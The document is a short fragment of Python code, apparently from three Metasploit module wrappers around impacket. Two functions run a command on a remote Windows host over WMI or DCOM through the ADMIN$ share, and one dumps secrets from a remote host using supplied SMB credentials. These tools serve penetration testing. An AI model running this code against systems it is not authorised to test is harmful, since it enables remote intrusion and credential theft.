def run(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', level='error') return _msf_impacket.pre_run_hook(args) executer = WMIEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], share='ADMIN$', noOutput=args['OUTPUT'] != 'true') executer.run(args['rhost'])
def run(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', level='error') return _msf_impacket.pre_run_hook(args) executer = DCOMEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], share='ADMIN$', noOutput=args['OUTPUT'] != 'true', dcomObject=args['OBJECT']) executer.run(args['rhost'])
def run(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', level='error') return _msf_impacket.pre_run_hook(args) dumper = DumpSecrets(args['rhost'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], args['OutputFile'], args['ExecMethod']) try: dumper.dump() except Exception as e: logging.error(e, exc_info=True)